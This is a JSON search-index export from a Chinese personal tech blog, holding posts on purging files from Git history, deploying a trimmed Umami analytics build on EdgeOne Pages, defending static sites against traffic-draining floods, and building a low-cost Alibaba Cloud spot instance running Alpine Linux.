git-filter-repo\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装后，进入你的Git仓库运行，接下来，我们只需要传一个文件路径给它即可\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u0026ndash;path\u003c/strong\u003e 是传入的文件路径，可以是相对路径也可以是绝对路径。但是注意，要用 \u003cstrong\u003e/\u003c/strong\u003e 分割路径\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u0026ndash;force\u003c/strong\u003e 是让它忽略安全性条件（如必须是一个刚克隆的仓库）\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u0026ndash;invert-paths\u003c/strong\u003e 是反选路径，也就是 \u003cstrong\u003e剔除\u003c/strong\u003e 指定 \u003cstrong\u003e\u0026ndash;path\u003c/strong\u003e 的文件\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e执行后它会查找该文件所在仓库的所有提交，并仅将该文件剔除，若某一提交中仅对该文件做了更改，则一整条提交直接消失（因为提交中无文件更改）；若某一提交中除了对该文件做了更改，还有其他文件，则该条提交仍然存在，但是文件变更记录中不再有该文件\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit-filter-repo --force --path src/secret.txt --invert-paths\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e比如这里我们一不小心提交了个 \u003cstrong\u003e微信密码\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/del-git-commit/img/del-git-commit-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我们可以用该命令将其 \u003cstrong\u003e剔除\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit-filter-repo --force --path 微信密码.txt --invert-paths\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/del-git-commit/img/del-git-commit-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e可以看到，效果非常拔群， \u003cstrong\u003e微信密码.txt\u003c/strong\u003e 已经不翼而飞了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/del-git-commit/img/del-git-commit-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e但是还有个问题，就是我们曾经的 \u003cstrong\u003e提交文本\u003c/strong\u003e 暴露了 \u003cstrong\u003e我们曾经曾上传过微信密码相关的文件\u003c/strong\u003e ，虽然实际上文件已经被剔除了\u003c/p\u003e\n\u003cp\u003e那有没有办法把这条提交删掉呢？有的，兄弟有的\u003c/p\u003e\n\u003cp\u003e我们可以使用原生的 \u003cstrong\u003egit rebase\u003c/strong\u003e ，以该提交作为 \u003cstrong\u003e基点\u003c/strong\u003e ，将后续提交接在该提交上，这样就可以 \u003cstrong\u003e架空\u003c/strong\u003e 该提交。宏观来看，我们就在Git仓库中从 \u003cstrong\u003e中间\u003c/strong\u003e 删除了一条提交\u003c/p\u003e\n\u003cp\u003e首先，我们需要获取该提交的 \u003cstrong\u003e哈希\u003c/strong\u003e ，这里假设为 \u003cstrong\u003e4e19d1fc6af5119cb33128a92d5d4e80fc42e6ef\u003c/strong\u003e （仅需前8位即可）\u003c/p\u003e\n\u003cp\u003e接下来，使用变基命令\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit rebase --onto 4e19d1fc^ 4e19d1fc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里会报错并自动中断变基进程，Git表示该提交有些文件和当前的提交冲突，无法自动解决冲突\u003c/p\u003e","title":"如何让一个文件在Git提交中永远消失？如何丢掉其中一条提交并保持逻辑完整？"},{"content":"原理探寻 由于 Umami 使用的是 SSR ，我原以为EdgeOne Pages不支持该模式，尝试部署后发现最大的问题在于\nError: SSR functions package size exceeds 128MiB limit (157MiB) 也就是说，EdgeOne Page是支持SSR程序的，只是Umami构建后的函数太大了，那么我们的思路就很清晰了，只需要裁切一些代码即可\n那么该项目就应运而生了 afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.\n我将Umami v3中的无关紧要的东西，如 像素统计 链接统计 团队 地理位置文件 删去了，最终可以在EO上部署一个残血版的Umami\n至于数据库，我用的是 https://supabase.com/ 需要注意，连接方式不能用 Direct Connection Demo： Umami\n视频： https://www.bilibili.com/video/BV1JiqSBaEY1/\n唯一的缺陷，无法获取用户地区（原逻辑有个高达60M的本地Geo文件） 上手部署 Fork 该仓库 [afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.](https://github.com/afoim/umami-edgeonepages/tree/main) 连接到EdgeOne Pages，但先别点部署 填写环境变量 DATABASE_URL 从Supbase中拿，类似于 postgresql://postgres.kupggtyqiaepzvjqbboy:[YOUR-PASSWORD]@aws-1-ap-northeast-1.pooler.supabase.com:5432/postgres 绑定你的域名，访问并登录。用户名： admin | 密码：umami 疑难解答 内部重定向貌似出了问题，如果你想要访问设置更改你的管理员密码请手动前往 /settings/preferences 他们解决了这个问题，但是\u0026hellip;\n但是有个新问题，就是POST请求全被吃了，目前代码暂时将所有POST请求改为了GET请求。我们在 Main 分支发布了全GET请求的版本，保证普通用户可用\nmaster 分支目前提供给腾讯当作试验场使用，会暴露很多敏感信息，别用\n","permalink":"https://blog.2x.nz/posts/eo-umami/","summary":"\u003ch1 id=\"原理探寻\"\u003e原理探寻\u003c/h1\u003e\n\u003cp\u003e由于 \u003cstrong\u003eUmami\u003c/strong\u003e 使用的是 \u003cstrong\u003eSSR\u003c/strong\u003e ，我原以为EdgeOne Pages不支持该模式，尝试部署后发现最大的问题在于\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eError: SSR functions package size exceeds 128MiB limit (157MiB)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e也就是说，EdgeOne Page是支持SSR程序的，只是Umami构建后的函数太大了，那么我们的思路就很清晰了，只需要裁切一些代码即可\u003c/p\u003e\n\u003cp\u003e那么该项目就应运而生了 \u003ca href=\"https://github.com/afoim/umami\"\u003eafoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e我将Umami v3中的无关紧要的东西，如 \u003ccode\u003e像素统计\u003c/code\u003e \u003ccode\u003e链接统计\u003c/code\u003e \u003ccode\u003e团队\u003c/code\u003e \u003ccode\u003e地理位置文件\u003c/code\u003e 删去了，最终可以在EO上部署一个残血版的Umami\u003c/p\u003e\n\u003cp\u003e至于数据库，我用的是 \u003ca href=\"https://supabase.com/\"\u003ehttps://supabase.com/\u003c/a\u003e 需要注意，连接方式不能用 \u003ccode\u003eDirect Connection\u003c/code\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/eo-umami/img/eo-umami-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003eDemo： \u003ca href=\"https://eo-umami.acofork.com/share/rC995W8J6CT4uLDo\"\u003eUmami\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e视频： \u003ca href=\"https://www.bilibili.com/video/BV1JiqSBaEY1/\"\u003ehttps://www.bilibili.com/video/BV1JiqSBaEY1/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e唯一的缺陷，无法获取用户地区（原逻辑有个高达60M的本地Geo文件）\n\u003cimg loading=\"lazy\" src=\"/posts/eo-umami/img/eo-umami.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"上手部署\"\u003e上手部署\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eFork 该仓库 [\u003ca href=\"https://github.com/afoim/umami\"\u003eafoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.\u003c/a\u003e](\u003ca href=\"https://github.com/afoim/umami-edgeonepages/tree/main\"\u003ehttps://github.com/afoim/umami-edgeonepages/tree/main\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e连接到EdgeOne Pages，但先别点部署\u003c/li\u003e\n\u003cli\u003e填写环境变量 \u003ccode\u003eDATABASE_URL\u003c/code\u003e 从Supbase中拿，类似于 \u003ccode\u003epostgresql://postgres.kupggtyqiaepzvjqbboy:[YOUR-PASSWORD]@aws-1-ap-northeast-1.pooler.supabase.com:5432/postgres\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e绑定你的域名，访问并登录。用户名： admin | 密码：umami\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"疑难解答\"\u003e疑难解答\u003c/h1\u003e\n\u003cp\u003e\u003cdel\u003e内部重定向貌似出了问题，如果你想要访问设置更改你的管理员密码请手动前往 \u003ccode\u003e/settings/preferences\u003c/code\u003e\u003c/del\u003e 他们解决了这个问题，但是\u0026hellip;\u003c/p\u003e","title":"WTF？！直接将Umami部署到EdgeOne Pages？扔掉VPS！直接跑在云函数！"},{"content":"静态网站能不能被打死？ 首先，先给结论：\n如果你托管在 Cloudflare Page ，那确实不用担心，因为它既不对静态请求计费，自身的CDN网络也足够强大，只要不是一天一PB，都是稳如老狗的\n但是，如果你托管在 EdgeOne/ESA 等计费平台，是 可以被打死 的\n有人就会问了： 我都是静态网站了，源站都没有，怎么能被打死呢？\n是的，你的确没有源站，静态网站也不计请求数，但是如果你任何防护都不配，所有人，或者说所有IP都可以批量刷取你站的流量，一天刷个几TB。几天后，CDN方可能就会给你取消接入了\n那么我们要解决的问题也就明晰了，其实跟动态网站一样，本质就是： 让网站尽可能服务真实用户 。只不过对于动态站，这是为了 防止源站被打死 ，而对于静态网站，是为了 CDN看到大额流量\n如何做WAF？ 首先，如果你使用的CDN是国内节点，就直接拦截海外访问\n因为大部分刷子的IP都来自海外（大陆IP金贵），直接拦截可以很好防止大文件被刷取，如图片等。我就是个例子 其实做好这一步，你已经 99% 不会被刷死了，因为海外刷子本来可以刷 100~1000KB不等的图片，但现在只能刷 拦截页面 了（一般不到 5KB ），而一般拦截页面没有太多信息，甚至有些平台能自定义拦截页面，使其返回空报文（小于1KB）\n假如原本刷子可以拿 十万个 IP刷死你，而现在刷子需要 100 * 100000 个 IP才能刷死了 ，这无疑是个指数级别的增长，并且你还是静态站，刷死你除了让业务停机，你也不会收到任何账单，大部分刷子会放弃刷站\n接下来我们仍然可以配置额外防护，比如 速率限制，全局JS质询 等，这些都是针对于真实访客无感的验证\n对于 速率限制 。真实访客不会进你站疯狂按F5短时间刷大量请求\n对于 JS质询 。真实访客是用 浏览器 访问的，而不是 curl wget okhttp httpx 等无JS执行模块的轻 请求发生器 访问的，所以建议开启全站JS拦截\n接下来才是重磅的，如果你的站被刷特别严重，尽管在L7全拦截住了，但是流量还是止不住的被刷刷刷，那就不要犹豫，关闭CDN的 HTTP 2.0\n这是什么原理？我们都知道，在HTTP 2.0，引入了 连接复用 ，也就是在一个TCP连接里面可以发很多HTTP请求，这无疑降低了攻击成本\n经过实测，关闭HTTP 2.0后，攻击者从1分钟刷50G暴跌到了10分钟刷5G\n视频： https://www.bilibili.com/video/BV1paryBeEbP/\n总结：如何成为最耐刷的网站？ 拦截海外 所有请求JS质询（注意不要质询到API） 设置速率限制 关闭CDN的HTTP 2.0 奇技淫巧 ESA禁海外访问 针对于ESA，免费版用户可能无法设置区域限制 但是我们可以 曲线救国 ，先设置一个规则将所有请求默认拦截，再判断是不是大陆IP，如果是，则跳过这个规则\n视频： https://www.bilibili.com/video/BV1fKimBnE3T/\nEdgeOne Page使用CDN WAF EdgeOne是个奇葩，它的CDN和Page的WAF是分开的，并且Page的WAF防护非常烂，只能 针对单个IP 进行拦截 我们可以让CDN回源Page让Page吃上CDN的WAF策略，左边为CDN创建域名界面，右边悬浮窗为Page界面\n[!WARNING] 这样设置后你会在总览看到双倍的流量，因为CDN回源Page记一次，而Page真正提供源站内容再记一次。可以通过开启缓存来缓解\n","permalink":"https://blog.2x.nz/posts/waf/","summary":"\u003ch1 id=\"静态网站能不能被打死\"\u003e静态网站能不能被打死？\u003c/h1\u003e\n\u003cp\u003e首先，先给结论：\u003c/p\u003e\n\u003cp\u003e如果你托管在 \u003cstrong\u003eCloudflare Page\u003c/strong\u003e ，那确实不用担心，因为它既不对静态请求计费，自身的CDN网络也足够强大，只要不是一天一PB，都是稳如老狗的\u003c/p\u003e\n\u003cp\u003e但是，如果你托管在 \u003cstrong\u003eEdgeOne/ESA\u003c/strong\u003e 等计费平台，是 \u003cstrong\u003e可以被打死\u003c/strong\u003e 的\u003c/p\u003e\n\u003cp\u003e有人就会问了： 我都是静态网站了，源站都没有，怎么能被打死呢？\u003c/p\u003e\n\u003cp\u003e是的，你的确没有源站，静态网站也不计请求数，但是如果你任何防护都不配，所有人，或者说所有IP都可以批量刷取你站的流量，一天刷个几TB。几天后，\u003cstrong\u003eCDN方可能就会给你取消接入了\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e那么我们要解决的问题也就明晰了，其实跟动态网站一样，本质就是： \u003cstrong\u003e让网站尽可能服务真实用户\u003c/strong\u003e 。只不过对于动态站，这是为了 \u003cstrong\u003e防止源站被打死\u003c/strong\u003e ，而对于静态网站，是为了 \u003cstrong\u003eCDN看到大额流量\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"如何做waf\"\u003e如何做WAF？\u003c/h1\u003e\n\u003cp\u003e首先，如果你使用的CDN是国内节点，就直接拦截海外访问\u003c/p\u003e\n\u003cp\u003e因为大部分刷子的IP都来自海外（大陆IP金贵），直接拦截可以很好防止大文件被刷取，如图片等。我就是个例子\n\u003cimg loading=\"lazy\" src=\"/posts/waf/img/waf-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e其实做好这一步，你已经 \u003cstrong\u003e99%\u003c/strong\u003e 不会被刷死了，因为海外刷子本来可以刷 \u003cstrong\u003e100~1000KB\u003c/strong\u003e不等的图片，但现在只能刷 \u003cstrong\u003e拦截页面\u003c/strong\u003e 了（一般不到 \u003cstrong\u003e5KB\u003c/strong\u003e ），而一般拦截页面没有太多信息，甚至有些平台能自定义拦截页面，使其返回空报文（\u003cstrong\u003e小于1KB\u003c/strong\u003e）\u003c/p\u003e\n\u003cp\u003e假如原本刷子可以拿 \u003cstrong\u003e十万个\u003c/strong\u003e IP刷死你，而现在刷子需要 \u003cstrong\u003e100 * 100000 个\u003c/strong\u003e IP才能刷死了 ，这无疑是个指数级别的增长，并且你还是静态站，刷死你除了让业务停机，你也不会收到任何账单，大部分刷子会放弃刷站\u003c/p\u003e\n\u003cp\u003e接下来我们仍然可以配置额外防护，比如 \u003cstrong\u003e速率限制\u003c/strong\u003e，\u003cstrong\u003e全局JS质询\u003c/strong\u003e 等，这些都是针对于真实访客无感的验证\u003c/p\u003e\n\u003cp\u003e对于 \u003cstrong\u003e速率限制\u003c/strong\u003e 。真实访客不会进你站疯狂按F5短时间刷大量请求\u003c/p\u003e\n\u003cp\u003e对于 \u003cstrong\u003eJS质询\u003c/strong\u003e 。真实访客是用 \u003cstrong\u003e浏览器\u003c/strong\u003e 访问的，而不是 \u003cstrong\u003ecurl\u003c/strong\u003e \u003cstrong\u003ewget\u003c/strong\u003e \u003cstrong\u003eokhttp\u003c/strong\u003e \u003cstrong\u003ehttpx\u003c/strong\u003e 等无JS执行模块的轻 \u003cstrong\u003e请求发生器\u003c/strong\u003e 访问的，所以建议开启全站JS拦截\u003c/p\u003e\n\u003cp\u003e接下来才是重磅的，如果你的站被刷特别严重，尽管在L7全拦截住了，但是流量还是止不住的被刷刷刷，那就不要犹豫，\u003cstrong\u003e关闭CDN的 HTTP 2.0\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e这是什么原理？我们都知道，在HTTP 2.0，引入了 \u003cstrong\u003e连接复用\u003c/strong\u003e ，也就是在一个TCP连接里面可以发很多HTTP请求，这无疑降低了攻击成本\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e经过实测，关闭HTTP 2.0后，攻击者从1分钟刷50G暴跌到了10分钟刷5G\u003c/strong\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e视频： \u003ca href=\"https://www.bilibili.com/video/BV1paryBeEbP/\"\u003ehttps://www.bilibili.com/video/BV1paryBeEbP/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"总结如何成为最耐刷的网站\"\u003e总结：如何成为最耐刷的网站？\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e拦截海外\u003c/li\u003e\n\u003cli\u003e所有请求JS质询（注意不要质询到API）\u003c/li\u003e\n\u003cli\u003e设置速率限制\u003c/li\u003e\n\u003cli\u003e关闭CDN的HTTP 2.0\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"奇技淫巧\"\u003e奇技淫巧\u003c/h1\u003e\n\u003ch3 id=\"esa禁海外访问\"\u003eESA禁海外访问\u003c/h3\u003e\n\u003cp\u003e针对于ESA，免费版用户可能无法设置区域限制\n\u003cimg loading=\"lazy\" src=\"/posts/waf/img/waf-3.webp\"\u003e\u003c/p\u003e","title":"静态网站也需要WAF？Cloudflare不需要但是EdgeOne/ESA需要！"},{"content":"正式开始 [!CAUTION] 抢占型实例在高峰期可能会进行回收，不要跑生产业务\n[!NOTE] 下文都是以 阿里云国内版 演示的，注意在国内版按量付费业务需要账户内可用余额要 \u0026gt;=100 CNY。国际版无限制，但是要海外手机号+海外卡，有可能还需要KYC\n下载Alpine镜像 由于我们主要的成本在硬盘上面，所以呢为了极致压缩空间，我们需要一个非常小巧的Linux镜像，以便我们可以用1G的 ESSD 云盘来安装。如果你也是极致玩家，仅用1G盘装系统，那么一定就要用我下面给你的Alpine镜像 如果你财大气粗，不在乎，或者说想跑一些正常业务，想用Debian或Ubuntu，那就10G起步，也不需要自定义镜像了\nAlpine 60M镜像链接\nhttps://dl-cdn.alpinelinux.org/alpine/v3.23/releases/x86_64/alpine-virt-3.23.2-x86_64.iso 将镜像上传至阿里云OSS 由于我们需要自定义镜像，但是镜像又必须要通过OSS提供，所以我们需要临时性的创建一个OSS Bucket实例，来上传我们的ISO镜像。在实例成功创建后，我们可以将其删除，以避免不必要的扣费\n首先，来到 OSS管理控制台 ，创建一个 Bucket，地域一定要选中国香港 ，并且上传ISO，最后，复制URL备用\n导入镜像 前往 云服务器管理控制台 ，选择右上角的 导入镜像 注意需要授权ECS访问OSS业务 然后正常填写，取消勾选“导入后执行检测” ，先不要点下一步\n接下来勾选配置云盘属性，并且将 云盘容量设置为1GB ，确认无误，导入 创建ECS抢占型实例 前往 云服务器管理控制台 ，创建 中国香港 实例，注意红框区域要保持一致\n另外，对于 网络及可用区 ，香港一共有 B、C、D 三个区，D区比B、C区贵不少，可以都开开测个速，留下最好的 开通CDT 前往 云数据传输 将升级状态全部变为已升级即可 创建\u0026amp;绑定弹性公网IP并且挂上CDT 因为弹性公网IP可以绑定CDT的每月200G免费流量，并且在绑定实例后，弹性公网IP将不会再扣费。如果后续删机的时候不要忘记释放弹性公网IP，否则会一直扣费\n进入 专有网络管理控制台 如图选择，然后购买即可（这里显示的费用是纯持有不绑定的费用，一旦绑定就不计费了） 接下来绑定弹性公网IP（因为我绑定过了，所以是解绑） 接下来在这里绑定CDT，带宽最高可以拉到 2000Mbps，但是不推荐，一般300M够用了 配置Alpine 如果你安装了Alpine，默认是需要VNC进入手动配置系统的。如果是公共镜像，则已经可以用了，但不要忘了保证系统纯净\n进入 云服务器管理控制台 选择你刚买的ECS，接下来点击 远程连接 ，展开更多，选择 通过VNC远程连接\n接下来就是愉快的敲命令环节~ （方括号内为默认值，你可以输入新值回车覆盖也可以直接回车应用默认值）\n启动 Alpine 安装程序 localhost:~# setup-alpine 选择键盘布局 Select keyboard layout: [none] us Select variant: [us] 设置主机名 Enter system hostname (fully qualified form, e.g. \u0026#39;foo.example.org\u0026#39;) [localhost] alpine-vps 设置网卡 Available interfaces are: eth0 lo Which one do you want to initialize? [eth0] 设置 IP 获取方式 Ip address for eth0? (or \u0026#39;dhcp\u0026#39;, \u0026#39;none\u0026#39;, \u0026#39;manual\u0026#39;) [dhcp] 是否进行手动网络配置 Do you want to do any manual network configuration? [no] 设置 root 密码（输入时不会显示） New password: Retype password: 设置时区，或者（PRC） Which timezone are you in? (\u0026#39;?\u0026#39; for list) [UTC] Asia/Shanghai 设置代理 HTTP/FTP proxy URL? [none] 选择软件仓库镜像。这个地方建议先输入 s 列出所有镜像，然后上下翻找找到阿里云镜像源，然后输入对应镜像源编号，否则选错了你后续通过apk安装软件的时候不会免流 Which mirror do you want to use? (or \u0026#39;?\u0026#39; or \u0026#39;done\u0026#39;) [44] 不创建普通用户 Setup a user? (enter a username, or \u0026#39;no\u0026#39;) [no] no 选择 SSH 服务 Which SSH server? (\u0026#39;openssh\u0026#39;, \u0026#39;dropbear\u0026#39;, or \u0026#39;none\u0026#39;) [openssh] 是否允许 root 通过 SSH 登录 Allow root ssh login? (\u0026#39;?\u0026#39; for help) [prohibit-password] yes 没有找到磁盘，是否安装至 vda 云盘，是 No disk available, Try boot media /media/vda ? (y/n) [n] y 选择要安装的磁盘 Which disk(s) would you like to use? (or \u0026#39;?\u0026#39; for help or \u0026#39;none\u0026#39;) [none] vda 选择磁盘使用方式 How would you like to use it? (\u0026#39;sys\u0026#39;, \u0026#39;data\u0026#39;, \u0026#39;crypt\u0026#39;, \u0026#39;lvm\u0026#39;) [sys] 确认格式化磁盘 WARNING: Erase the above disk(s) and continue? [y/N] y 安装系统 Installing system on /dev/sda: Installing alpine-base... Installing busybox... Installing openssh... Installing openrc... 安装完成提示 Installation is complete. Please reboot. 重启系统 localhost:~# reboot 重启后登录 alpine-vps login: root Password: 设置DNS（Cloudflare \u0026amp; Google DNS） alpine-vps:~# setup-dns DNS Domain name? (e.g. \u0026#39;bar.com\u0026#39;) nameserver DNS nameserver(s)? [223.5.5.5] 1.1.1.1 8.8.8.8 Alpine的软件包管理器为 APK ，首先我们先更新软件源\napk update 接下来，安装一些基本的软件包\napk add curl unzip jq openssl tar iproute2 bash 设置保活\u0026amp;用量封顶策略 虽然我们将弹性公网IP连接了CDT，默认流量会从CDT的免费流量份额里面扣\n但是一旦超出上限，那就会扣我们的真金白银了\n所以，我们需要一个定时监测的服务，发现CDT流量快用完了立即停机\n那么\u0026hellip;让我们请出 Cloudflare Worker！\nafoim/cf-worker-aliyun-cdt-tracker\n在Cloudflare Worker的仪表盘配置五个机密环境变量即可 以下是需要配置的机密环境变量 (Secrets)：\n变量名 描述 示例 / 备注 ACCESS_KEY_ID 阿里云账号的 AccessKey ID LTAIxxxxxxxxxxxx ACCESS_KEY_SECRET 阿里云账号的 AccessKey Secret xxxxxxxxxxxxxxxxxxxxxxxx REGION_ID ECS 实例所在的区域 ID。 cn-hongkong ECS_INSTANCE_ID 需要控制的 ECS 实例 ID。在控制台获取 i-xxxxxxxxxxxx TRAFFIC_THRESHOLD_GB 流量阈值（单位：GB），超过此值将停止实例 180 (默认为 180) 我们需要前往 https://ram.console.aliyun.com/profile/access-keys 创建一个RAM用户，你就会得到 ACCESS_KEY_ID 和 ACCESS_KEY_SECRET ，并且分配权限：AliyunECSFullAccess `AliyunCDTFullAccess\n部署成功后，Cloudflare Worker将在每分钟检查一次CDT，如果超出流量阈值，会将指定ID的ECS停止 计费流程图 带宽费（按固定带宽计费收取）：根据您指定的带宽峰值和计费时长后付费，与实际使用的流量无关。\n流量费（按使用流量计费收取）：根据每小时公网的实际流量计费。\n最终，抢占型ECS实例每个小时扣费 0.005528 元 ，按照一个月31天，每月扣费 4.112832 元 ，而弹性公网IP一经绑定便不再计费，CDT每月免费200G海外流量，不超出不计费，OSS免费存储5G，传入流量不计费，我们也没有传出流量，或者保险起见你也可以将其删除\n最终每月成本：不到5元！ ","permalink":"https://blog.2x.nz/posts/aliyun-ecs-4rm/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!CAUTION]\n抢占型实例在高峰期可能会进行回收，不要跑生产业务\u003c/p\u003e\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE]\n下文都是以 \u003cstrong\u003e阿里云国内版\u003c/strong\u003e 演示的，注意在国内版按量付费业务需要账户内可用余额要 \u0026gt;=100 CNY。国际版无限制，但是要海外手机号+海外卡，有可能还需要KYC\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch3 id=\"下载alpine镜像\"\u003e下载Alpine镜像\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e由于我们主要的成本在硬盘上面，所以呢为了极致压缩空间，我们需要一个非常小巧的Linux镜像，以便我们可以用1G的 ESSD 云盘来安装。如果你也是极致玩家，仅用1G盘装系统，那么一定就要用我下面给你的Alpine镜像\n如果你财大气粗，不在乎，或者说想跑一些正常业务，想用Debian或Ubuntu，那就10G起步，也不需要自定义镜像了\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eAlpine 60M镜像链接\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehttps://dl-cdn.alpinelinux.org/alpine/v3.23/releases/x86_64/alpine-virt-3.23.2-x86_64.iso\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"将镜像上传至阿里云oss\"\u003e将镜像上传至阿里云OSS\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e由于我们需要自定义镜像，但是镜像又必须要通过OSS提供，所以我们需要临时性的创建一个OSS Bucket实例，来上传我们的ISO镜像。在实例成功创建后，我们可以将其删除，以避免不必要的扣费\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e首先，来到 \u003ca href=\"https://oss.console.aliyun.com/bucket\"\u003eOSS管理控制台\u003c/a\u003e ，创建一个 Bucket，\u003cstrong\u003e地域一定要选中国香港\u003c/strong\u003e ，并且上传ISO，最后，复制URL备用\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-1.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"导入镜像\"\u003e导入镜像\u003c/h3\u003e\n\u003cp\u003e前往 \u003ca href=\"https://ecs.console.aliyun.com/image/region/cn-hongkong\"\u003e云服务器管理控制台\u003c/a\u003e ，选择右上角的 导入镜像\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e注意需要授权ECS访问OSS业务\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后正常填写，\u003cstrong\u003e取消勾选“导入后执行检测”\u003c/strong\u003e ，先不要点下一步\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来勾选配置云盘属性，并且将 \u003cstrong\u003e云盘容量设置为1GB\u003c/strong\u003e ，确认无误，导入\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-5.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"创建ecs抢占型实例\"\u003e创建ECS抢占型实例\u003c/h3\u003e\n\u003cp\u003e前往 \u003ca href=\"https://ecs.console.aliyun.com/server/\"\u003e云服务器管理控制台\u003c/a\u003e ，创建 \u003cstrong\u003e中国香港\u003c/strong\u003e 实例，注意红框区域要保持一致\u003c/p\u003e\n\u003cp\u003e另外，对于 \u003cstrong\u003e网络及可用区\u003c/strong\u003e ，香港一共有 \u003cstrong\u003eB、C、D\u003c/strong\u003e 三个区，D区比B、C区贵不少，可以都开开测个速，留下最好的\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/ALIECSSNPSHOT.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"开通cdt\"\u003e开通CDT\u003c/h3\u003e\n\u003cp\u003e前往 \u003ca href=\"https://cdt.console.aliyun.com/overview\"\u003e云数据传输\u003c/a\u003e 将升级状态全部变为已升级即可\n\u003cimg loading=\"lazy\" src=\"/posts/aliyun-ecs-4rm/img/aliyun-ecs-4rm-6.webp\"\u003e\u003c/p\u003e\n\u003ch3 